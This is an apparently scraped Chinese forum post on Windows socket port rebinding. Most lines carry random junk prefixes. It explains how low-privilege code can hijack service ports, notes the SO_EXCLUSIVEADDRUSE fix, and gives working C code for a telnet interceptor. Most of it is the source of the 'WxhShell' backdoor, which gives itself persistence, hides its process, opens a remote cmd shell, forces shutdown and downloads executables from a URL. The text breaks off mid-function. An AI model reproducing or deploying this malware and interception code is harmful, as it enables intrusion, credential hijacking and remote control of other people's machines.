在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>`'#4!}G5j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g^}X3NUn }@SZ!-t%rD saddr.sin_family = AF_INET;
.Z'CqBr[: 6"-LGK: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hSp[BsF`, [3t
N-aj[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Drk9F"J hY-;Wfg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|KplbU0iC TjgX' j 这意味着什么?意味着可以进行如下的攻击:
b;9v.MZ4>g 7{v0K"E{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
08yTTt76t R4E0avt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.<rL2`C[c kOFEH!9& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_+z@Qn?#6h $J=9$.4" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}Jh!B| <*2.B~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ehOF@IA_ oel3H5Nz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i3rvDch
jR}h3! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1#aOgvf >~>=[M0 #include
&AUL]:<s #include
-58r*[=8 #include
}I;=IYrN #include
aNv6 " DWORD WINAPI ClientThread(LPVOID lpParam);
:*1|ERGoay int main()
[~f%z(vI {
g3e\'B' WORD wVersionRequested;
isQ{Xt~K DWORD ret;
X7NRQ3P@ WSADATA wsaData;
x>&1;g2r BOOL val;
TnPd pynP SOCKADDR_IN saddr;
HPVT$EJ SOCKADDR_IN scaddr;
oopTo51,a int err;
$T1
D
?X SOCKET s;
$-5iwZ SOCKET sc;
J@(*(oQb int caddsize;
xfos>|0N HANDLE mt;
PX\}lTJ DWORD tid;
k,X` }AJ6 wVersionRequested = MAKEWORD( 2, 2 );
3L=vsvO4 err = WSAStartup( wVersionRequested, &wsaData );
:pDw gd if ( err != 0 ) {
<IK8Ucp printf("error!WSAStartup failed!\n");
DK*2d_ return -1;
[<`xAh_, }
v;?t=}NwF saddr.sin_family = AF_INET;
YpL{c* M m-*du( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6LNm>O QIBv}hgcy saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_S2QY7/ saddr.sin_port = htons(23);
"MZVwl "E# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Lo7R^> {
/LPSI^l!m printf("error!socket failed!\n");
fVb&=%e return -1;
g9GE0DbT` }
lJ R",_ val = TRUE;
CuT[V?^iD //SO_REUSEADDR选项就是可以实现端口重绑定的
[AE]0cO@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L7q%u.nB1 {
6>Lr printf("error!setsockopt failed!\n");
jW?.>( return -1;
t#6gjfIi }
N''9Bt+: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
G)5%f\& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k+JDbJ@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Gob1V }4A+J"M4y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m`4Sp#m {
+)L
'qbCSM ret=GetLastError();
#x':qBv# printf("error!bind failed!\n");
-.ha\ t0J return -1;
HQQc<7c", }
]/bf#&@g`k listen(s,2);
5c3)p^]g while(1)
HWVWl~FA {
k2k/v[60 caddsize = sizeof(scaddr);
A5y?|q>5 //接受连接请求
cXE42MM sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L$i&>cF\_> if(sc!=INVALID_SOCKET)
c5R58#XK= {
=WFMqBh<` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t}_qtO7> if(mt==NULL)
[KVBT;q6 {
Z fL\3Mn printf("Thread Creat Failed!\n");
<CzH'!FJN break;
RfEmkb<9Z }
=NH:/j^ }
"eZNci CloseHandle(mt);
z)]_ (zZ^ }
Tj<W4+p{ closesocket(s);
Ko>pwhR} WSACleanup();
{p
yo return 0;
^3*/x%A,g }
#f\U3p DWORD WINAPI ClientThread(LPVOID lpParam)
vZhN%
DfY {
oPo<F5M]d% SOCKET ss = (SOCKET)lpParam;
x)THeH@ SOCKET sc;
o_bj@X unsigned char buf[4096];
/DQoM@X SOCKADDR_IN saddr;
9_KUUA long num;
w# ,:L) DWORD val;
>9uDY+70I3 DWORD ret;
hi`\3B //如果是隐藏端口应用的话,可以在此处加一些判断
FL/@e$AK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7W5FHZd' saddr.sin_family = AF_INET;
T&w3IKb|} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4F)z-<-b saddr.sin_port = htons(23);
d]0fgwwGC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
az?B'|VX {
QVb@/ printf("error!socket failed!\n");
.v/s9'lB return -1;
~Pv4X2MO }
j'X]bd' val = 100;
\&Mipf7a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1EyM,$On {
#- f7hg* ret = GetLastError();
H.'MQ return -1;
.FXq4who }
%_KNAuM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,*@m<{DX) {
kJZBQ<^ ret = GetLastError();
HZkC3$ return -1;
Ip4CC' }
hg]\~#&- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N&-d8[~ {
j42U|CuK printf("error!socket connect failed!\n");
) e;)9~ closesocket(sc);
z,X
^; closesocket(ss);
6^if%62l& return -1;
V[HHP_ }
{y`afuiB while(1)
9"I/jd0B {
eH(8T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
C-@@`EP //如果是嗅探内容的话,可以再此处进行内容分析和记录
P%ev8]2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#J\
2/~ num = recv(ss,buf,4096,0);
++5W_Ooep if(num>0)
\3O#H send(sc,buf,num,0);
=V/$&96Q else if(num==0)
: \:jIP break;
}ytc oIuLf num = recv(sc,buf,4096,0);
m!$"-nh9 if(num>0)
K0g<11}(Yg send(ss,buf,num,0);
HulN84 else if(num==0)
Hhx<k{B@7 break;
J2v=b?NE }
,xn+T)2I closesocket(ss);
u/hFf3 closesocket(sc);
&b i Bm return 0 ;
lJ62[2=V }
#hH "g D""d-oI[ /H: '(W_b; ==========================================================
,}=x8Xxr @Vr?)_0 下边附上一个代码,,WXhSHELL
Hh(_sewo /IxMRi= ==========================================================
A%"mySW 15)=>=1mR. #include "stdafx.h"
f]h99T CTD{!I( #include <stdio.h>
-9UQs.Nv #include <string.h>
.o]vjNrd/ #include <windows.h>
*QG>U [ #include <winsock2.h>
VWI|`O.w #include <winsvc.h>
"o*F$7D! #include <urlmon.h>
INyreoMp c}U&!R2p{ #pragma comment (lib, "Ws2_32.lib")
QukLsl]U #pragma comment (lib, "urlmon.lib")
Ki,]*-XO Aq^1(-g #define MAX_USER 100 // 最大客户端连接数
Q6`oo/ #define BUF_SOCK 200 // sock buffer
^;Nu\c #define KEY_BUFF 255 // 输入 buffer
QNLkj`PL/ |0vY'A)] #define REBOOT 0 // 重启
2w $o;zz1 #define SHUTDOWN 1 // 关机
^}ngbDn jI_TN5 #define DEF_PORT 5000 // 监听端口
d?$FAy'o5 _Su?
VxU #define REG_LEN 16 // 注册表键长度
[@eNb^R #define SVC_LEN 80 // NT服务名长度
zbOEF qq]ZkT} // 从dll定义API
LR@rn2Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-|~6Zf" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R Q X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nBgksB*A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?}D@{%O3T 5sao+dZ"| // wxhshell配置信息
aW$sd) struct WSCFG {
a<k x95 int ws_port; // 监听端口
.8<bz4 char ws_passstr[REG_LEN]; // 口令
V44IA[ int ws_autoins; // 安装标记, 1=yes 0=no
b%2+g<UKh char ws_regname[REG_LEN]; // 注册表键名
i5T&1W i char ws_svcname[REG_LEN]; // 服务名
1 xm8w$% char ws_svcdisp[SVC_LEN]; // 服务显示名
^cz#PNB char ws_svcdesc[SVC_LEN]; // 服务描述信息
'gxSHqeI2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5%mc| int ws_downexe; // 下载执行标记, 1=yes 0=no
O3bo3Cm$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V2W)%c' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
EEEYNu/4/ ^%@(>:)0 };
ZxlQyr`~a( f]tc$`vb // default Wxhshell configuration
qt=gz6! struct WSCFG wscfg={DEF_PORT,
|2,u!{ "xuhuanlingzhe",
4GH?$p|LX 1,
8{Bcl5]< "Wxhshell",
Z!0D97^ "Wxhshell",
@MWrUx "WxhShell Service",
6D_3Hwrs "Wrsky Windows CmdShell Service",
c:.k2u "Please Input Your Password: ",
3fgVvt-2 1,
h2#G "
http://www.wrsky.com/wxhshell.exe",
\{ r%.G "Wxhshell.exe"
<Td4 o&JR };
h$)+$^YI K9\`Wu_qL // 消息定义模块
FaYDa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GS_'&Yj char *msg_ws_prompt="\n\r? for help\n\r#>";
CPWe ( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?B.>VnYZ/a char *msg_ws_ext="\n\rExit.";
=B@owx char *msg_ws_end="\n\rQuit.";
'#mv- /<t* char *msg_ws_boot="\n\rReboot...";
|QHDg( char *msg_ws_poff="\n\rShutdown...";
})#6BN char *msg_ws_down="\n\rSave to ";
ak 94"<p 9YS &RBJu char *msg_ws_err="\n\rErr!";
&x
=}m char *msg_ws_ok="\n\rOK!";
_5 Zhv-7 p}$VBl$' char ExeFile[MAX_PATH];
sPuNwVX>}I int nUser = 0;
8<#X]I_eP+ HANDLE handles[MAX_USER];
W-ErzX int OsIsNt;
)R.y>Ucb0 u=I \0H SERVICE_STATUS serviceStatus;
'!>LF1W= SERVICE_STATUS_HANDLE hServiceStatusHandle;
2fM*6CaS GLrHb3@"N // 函数声明
bx`s;r= int Install(void);
T$RVz
int Uninstall(void);
-$WU-7` int DownloadFile(char *sURL, SOCKET wsh);
59A@~;.F int Boot(int flag);
f'` QW@U void HideProc(void);
)F
Q
'^ int GetOsVer(void);
G9J+D?'hH int Wxhshell(SOCKET wsl);
Sz|;wsF{ void TalkWithClient(void *cs);
P~/Glak int CmdShell(SOCKET sock);
MA0}BJoW int StartFromService(void);
o,dO.isgh> int StartWxhshell(LPSTR lpCmdLine);
Bj5_=oo+d +L
D\~dcV+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M}2a/}4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
gM~dPM| bBA
#o\[ // 数据结构和表定义
eT* )r~ SERVICE_TABLE_ENTRY DispatchTable[] =
@}k5rcQ*/ {
MA1.I4dm {wscfg.ws_svcname, NTServiceMain},
]f#1G$ {NULL, NULL}
{WfZE&B };
>|Ps23J# BM9J/24 // 自我安装
<RH2G int Install(void)
/qp)n"> {
<pJeiMo char svExeFile[MAX_PATH];
%2>ya>/M HKEY key;
jI:5[. Y strcpy(svExeFile,ExeFile);
@k~'b uf4C+ci // 如果是win9x系统,修改注册表设为自启动
32j@6! if(!OsIsNt) {
s @\UZC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0h ^&`H: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'}3@D$YiM% RegCloseKey(key);
?Ho~6q8O@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Gzy"$t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7@iyO7U RegCloseKey(key);
Ni"n_Yun return 0;
Dg(882#_ }
>S/m(98 }
?[{_*qh }
>(nb8T| else {
cYHHCaCS ], Xva`" // 如果是NT以上系统,安装为系统服务
7J?`gl&C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}@JPvIE if (schSCManager!=0)
y!JZWq%= {
Bs7/<$9K/ SC_HANDLE schService = CreateService
C8 [W (
0G@sj7)] schSCManager,
h2M>4c wscfg.ws_svcname,
!##OQ wscfg.ws_svcdisp,
7&-i
:2 SERVICE_ALL_ACCESS,
Ps=OL\i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B"sQ\gb%Q SERVICE_AUTO_START,
7\ELr 5
SERVICE_ERROR_NORMAL,
DPIIE2X svExeFile,
.[YM0dt NULL,
.KH3.v/c| NULL,
P")duv NULL,
c!#DD;<Q NULL,
rfj>/?8!@ NULL
lxsBXX Zg );
mFoE2?Y if (schService!=0)
=^ {
OX|nYTp CloseServiceHandle(schService);
L O)&|9xw CloseServiceHandle(schSCManager);
<i}lP/U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?&v+-4%4PI strcat(svExeFile,wscfg.ws_svcname);
0V:7pSC{P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
F/1B>2$` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
R Ptc \4 RegCloseKey(key);
v8=7 return 0;
gzdR|IBa }
ig:E`Fe@ }
HHd;<% q CloseServiceHandle(schSCManager);
!I3_KuJ5 }
<<a1a }
rmVF88/; c*iZ6j"iI return 1;
yffg_^fR }
@0js=3!2 H<6TN^ // 自我卸载
9UF^h{X int Uninstall(void)
%=C49(/K_ {
e6O +hC]: HKEY key;
0|mF
/ osB8
'\GR if(!OsIsNt) {
ZV :cgv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hRKAs
]^j RegDeleteValue(key,wscfg.ws_regname);
ZcT%H*Ib]9 RegCloseKey(key);
A^\A^$|O6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ns3k(j16 RegDeleteValue(key,wscfg.ws_regname);
*>b*I4dz RegCloseKey(key);
j2\B(PA return 0;
3 *0/<1f1! }
c& &^Do }
'x'.[=; }
3RSiu} else {
PWU8 9YXp ){'Ef_/R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@D:$~4ks if (schSCManager!=0)
o u%Xnk~ {
70sb{) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%5) 1^ if (schService!=0)
2h Wtpus {
h?cf)L if(DeleteService(schService)!=0) {
\J@i:J6x$1 CloseServiceHandle(schService);
AC`4n|,zJ; CloseServiceHandle(schSCManager);
Atdr|2 return 0;
ey icMy`7{ }
>b6!*Lrhs CloseServiceHandle(schService);
T~=r*4 }
?_hKhn%K9
CloseServiceHandle(schSCManager);
)83UF
r4kP }
6
GL.bS }
(f Gmjx H);O. m return 1;
EMe3Xb
` }
. \/jy]Y OC(S"&D // 从指定url下载文件
2;!,:bFb int DownloadFile(char *sURL, SOCKET wsh)
W Z!?O0.A {
gG^A6Ol%D HRESULT hr;
Zq,[se'nh" char seps[]= "/";
d<x7* OW) char *token;
n+ot. - char *file;
rt5FecX\ char myURL[MAX_PATH];
ape\zZCV char myFILE[MAX_PATH];
qM~;Q6{v +>v3&[lGv strcpy(myURL,sURL);
!|\$|m<n token=strtok(myURL,seps);
rGNYu\\ while(token!=NULL)
4V2}'/|[ {
Nn`l+WA3 file=token;
P1gW+*? token=strtok(NULL,seps);
YU*u! }
T4
:UJj} olHT* mr GetCurrentDirectory(MAX_PATH,myFILE);
B~\mr{|u strcat(myFILE, "\\");
](^$5Am strcat(myFILE, file);
H%`$@U> send(wsh,myFILE,strlen(myFILE),0);
1R}rL#h;= send(wsh,"...",3,0);
4Z'/dI` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!c 3c%=W if(hr==S_OK)
^`BiA'gPPC return 0;
NVt612/'7y else
E ISgc {s return 1;
3I}(as{Rp O~wZU Zf }
pfs'2AFj r)4GH%+?fv // 系统电源模块
$oPx2sb int Boot(int flag)
!+<OED=qe {
Z}b25) HANDLE hToken;
G)(vd0X1 TOKEN_PRIVILEGES tkp;
fu=GgD* <%_7% if(OsIsNt) {
D@O#P^? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(pDu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<./r%3$;7 tkp.PrivilegeCount = 1;
2rzOh},RS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"UNWbsn6Qr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9A7LDHst7 if(flag==REBOOT) {
*h <_gn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-VC
kk return 0;
-l:4I6-hi }
_S$SL%;\ else {
rAv)k&l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PUU
"k:{ return 0;
QsO%m }
<6!;mb
;cX }
6k4ZzQ} else {
>ocDh~@aP if(flag==REBOOT) {
4G o$OQ` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ml"i^LR+ return 0;
z_;:6*l=: }
;?q>F3n else {
.eNeqC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pW
y+oZ return 0;
tz6N,4J? }
tPQjjoh }
I`% ]1{ UPE9e
return 1;
XABB6J] }
goMv8d 0=:]tSD\F // win9x进程隐藏模块
=%i~HDiy void HideProc(void)
uQ(C,f[6p {
e>6NO E"/r*C+T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dE_d.[! if ( hKernel != NULL )
EF8~rKO3 {
+o ;}* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
pHftz-RS! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7NFRCCXHQ FreeLibrary(hKernel);
X2[d15!9 }
2HX#:y{\l i".nnAI: return;
T4c]VWtD }
+46m~" ] F%-KY$% // 获取操作系统版本
iXgy/>qgT int GetOsVer(void)
j#f7-nHyz8 {
@L-] %C OSVERSIONINFO winfo;
K/;*.u`: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
MEI.wJZ GetVersionEx(&winfo);
,UveH` n- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
aAi" return 1;
U+4W9zhwo else
bTd94 return 0;
,B'n0AO/' }
pm4'2B|)g F7"v}K]X // 客户端句柄模块
9kO}054 int Wxhshell(SOCKET wsl)
vl"{ovoC {
([#4H3uO- SOCKET wsh;
]lgI Q;r struct sockaddr_in client;
W3gBLotdg DWORD myID;
Vlf =gP us,~<e0 while(nUser<MAX_USER)
|eu:qn8 {
*a[iq`499 int nSize=sizeof(client);
8q"C=t7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
te*|>NRS if(wsh==INVALID_SOCKET) return 1;
,|7!/]0& wBJP8wES= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
TIIwq H+h. if(handles[nUser]==0)
%&81xAt closesocket(wsh);
8Buus else
`,7;2ZG~O nUser++;
vNn$dc }
dBeZx1Dy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g,O3\jjQ jTh^#Q return 0;
g.:b\JE ` }
kw$*o
k 9^zA( // 关闭 socket
oScKL#Hu void CloseIt(SOCKET wsh)
r.vezsH {
*ak"}s closesocket(wsh);
d^:(-2l- nUser--;
?AlTQL~c ExitThread(0);
)*m#RqLQ8 }
bpaS(nBy 7,!$lT# // 客户端请求句柄
C%ZSsp
u void TalkWithClient(void *cs)
|EpL~G_ {
V.?Oly m`lxQik SOCKET wsh=(SOCKET)cs;
:dML+R#Ymh char pwd[SVC_LEN];
LEgx"H=c char cmd[KEY_BUFF];
TPi=!*$& char chr[1];
-udKGrT+ int i,j;
Gc0/*8u/ j-n-2:Q while (nUser < MAX_USER) {
6<`tb)_2~ Z]\IQDC if(wscfg.ws_passstr) {
)2Dm{T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
})TXX7[h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s6HfN' //ZeroMemory(pwd,KEY_BUFF);
WW.amv/[a i=0;
>=VtL4K^ while(i<SVC_LEN) {
VYAz0H1-_ QZO9CLX 8k // 设置超时
92pl#Igt fd_set FdRead;
qCUn.
mI struct timeval TimeOut;
vbMt}bM(GD FD_ZERO(&FdRead);
Dxx`<=&g FD_SET(wsh,&FdRead);
7eP3pg# TimeOut.tv_sec=8;
7zWr5U. TimeOut.tv_usec=0;
8(kP=
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G8hq;W4@]/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c)Ep<W<r1 .KX LWH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;z3w#fNMv pwd
=chr[0]; tEC`->|
if(chr[0]==0xd || chr[0]==0xa) { ]*\m@lWu
pwd=0; p J#<e
break; ;qwNM~
} #
ZcFxB6)
i++; AriW&E
} >SSRwYIN
OO /Pc
// 如果是非法用户,关闭 socket kA/V=xO<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \66j4?H#
} r_EuLFM A
\NTNB9>CO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l99{ eD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p(`?y:.3
2[e^mm&.
while(1) { ge@ KopZ&
kE*OjywN
ZeroMemory(cmd,KEY_BUFF); MET"s.v
"U6:z M
// 自动支持客户端 telnet标准 +u[?8D7Y
j=0; zSM;N^X 8?
while(j<KEY_BUFF) { r[votdFo
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~L3]Wa.
cmd[j]=chr[0]; B 4my
if(chr[0]==0xa || chr[0]==0xd) { 18{" @<wIs
cmd[j]=0; -<RG'I~
break; Smjg[
} 48t_?2>
j++; =j$!N# L
} %Tvy|L
,
ye^l~
// 下载文件 !ZC0 n`
if(strstr(cmd,"http://")) { tw?\bB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ")?NCun>
if(DownloadFile(cmd,wsh)) A"W}l)+X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "JBTsQDj!
else C?47v4n-'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0{'%j~"
} X GhV?
tA
else { I6B4S"Q5<
Rb=8(#
switch(cmd[0]) { hq[RU&\
kIlK"=
// 帮助 /N?vVp
case '?': { ^V5g[XL2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @b,&b6V
break; wNt-mgir-Q
} CTOrBl$70
// 安装 U2@Mxw
case 'i': { ocbNf'W;
if(Install()) m=.}}DcSs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|!r!V8j
else zJCm0HLJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f:6%DT~a&C
break; 5J 0Sc
} b( qO fek
// 卸载 ]%8f-_fSy
case 'r': { ;;cPt44s
if(Uninstall()) Y#[>j4<T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo%v(
else oY$L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "2FI3M=
break; QTKN6P
} \'AS@L"Wj^
// 显示 wxhshell 所在路径 Z/hk)GI
case 'p': { ,*}5xpX
char svExeFile[MAX_PATH]; 7Rix=*
strcpy(svExeFile,"\n\r"); x-3!sf@
strcat(svExeFile,ExeFile); IX]K"hT
send(wsh,svExeFile,strlen(svExeFile),0); +CF"Bm8@
break; -'jPue2\
} :lGH31GG
// 重启 2-#:Y
case 'b': { <Z6tRf;B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pu-/*Fx
if(Boot(REBOOT)) Er]lObfQo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `OP?[
f d
else { ?*ni5\y5o
closesocket(wsh); 'dFhZ08u}
ExitThread(0); P
O{1u%P
} RXDPT
break; 5f'<0D;K
} C1YG=!
// 关机 xU5+"t~
case 'd': { *[MK{m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !o k6*m
if(Boot(SHUTDOWN)) Gd08RW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|'}a3
else { *w[\(d'T
closesocket(wsh); J|D$
ExitThread(0); ZKT~\l
} yavoGk
break; V7qc9Gd@I
} 3-T}8VsiP
// 获取shell 9*lkx#
case 's': { 5_}e?T&s
CmdShell(wsh); !Ui"<0[,
closesocket(wsh); %j*i=
ExitThread(0); :?}U Z#
break; &D[pX|!
} h)746T )
// 退出 %^C.e*
case 'x': { 49("$!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xWa96U[
CloseIt(wsh); Qn*a#]p
break; },=0]tvZG#
} `Rc7*2I)l
// 离开 d*A(L5;@
case 'q': { uv,_?x\'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e~wJO~
closesocket(wsh); %488"
WSACleanup(); k'd(H5A
exit(1); J^G#x}y
break; 4[eQ5$CB<u
} s.)nS$
} eyiGe1^C
} YsHZFF
(DW[#2\.
// 提示信息 >(t_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /0J1_g
} DrTo")T
} XazKS4(
?5oeyBA@
return; }uTe(Rf
} $YM6}D@
+C(v4@=nd
// shell模块句柄 vGT#BS%
int CmdShell(SOCKET sock) Du3nK"-g
{ N2~q\BqA
STARTUPINFO si; WLTraB[?
ZeroMemory(&si,sizeof(si)); -p:X]Ov
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2+Tu"oG;rB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0{O|o_
PROCESS_INFORMATION ProcessInfo; ~
}<!ON;
char cmdline[]="cmd"; ^.d97rSm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nsCat($)
return 0; 5$T>noD
} J"x M[c2
x-e?94}^
// 自身启动模式 r95l.v
int StartFromService(void) "^~>aVuXf
{ Pc*+QtQ
typedef struct bLfbzkNV\1
{ Z{|U!tn
DWORD ExitStatus; v=~=Q*\l
DWORD PebBaseAddress; `Xbk2KD p
DWORD AffinityMask; $:YJ<HvG<
DWORD BasePriority; *1Lkde@|{
ULONG UniqueProcessId; f8DF>]WW
ULONG InheritedFromUniqueProcessId; R tR5ij1
